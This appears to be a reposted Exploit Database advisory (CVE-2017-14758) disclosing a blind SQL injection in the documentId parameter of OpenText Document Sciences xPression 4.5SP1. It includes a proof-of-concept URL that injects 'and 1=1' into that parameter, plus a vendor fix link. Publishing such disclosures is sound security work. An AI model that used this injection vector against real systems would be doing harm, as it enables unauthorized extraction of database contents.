OpenText Document Sciences xPression 4.5SP1 Patch 13 – ‘documentId’ SQL Injection

• Exploit Database
• 15 阅读

• 作者： Marcin Woloszyn
  日期： 2017-10-02
• 类别：

  • webapps
  平台：

  • jsp
• 来源：https://www.exploit-db.com/exploits/42940/

• Title: OpenText Document Sciences xPression (formerly EMC Document
  Sciences xPression) - SQL Injection
  Author: Marcin Woloszyn
  Date: 27. September 2017
  CVE: CVE-2017-14758
  
  Affected Software:
  ==================
  OpenText Document Sciences xPression (formerly EMC Document Sciences xPression)
  
  Exploit was tested on:
  ======================
  v4.5SP1 Patch 13 (older versions might be affected as well)
  
  SQL Injection:
  ==============
  
  Due to lack of prepared statements an application is prone to SQL
  Injection attacks.
  Potential attacker can retrieve data from application database by
  exploiting the issue.
  
  Vector :
  --------
  
  https://[...]/xAdmin/html/cm_doclist_view_uc.jsp?cat_id=503&documentId=185365177756%20and%201=1&documentType=xDesignPublish&documentName=ContractRealEstate
  
  ^
  Results can be retrieved using blind SQL injection method.
  
  Fix:
  ====
  https://knowledge.opentext.com/knowledge/llisapi.dll/Open/68982774
  
  Contact:
  ========
  mw[at]nme[dot]pl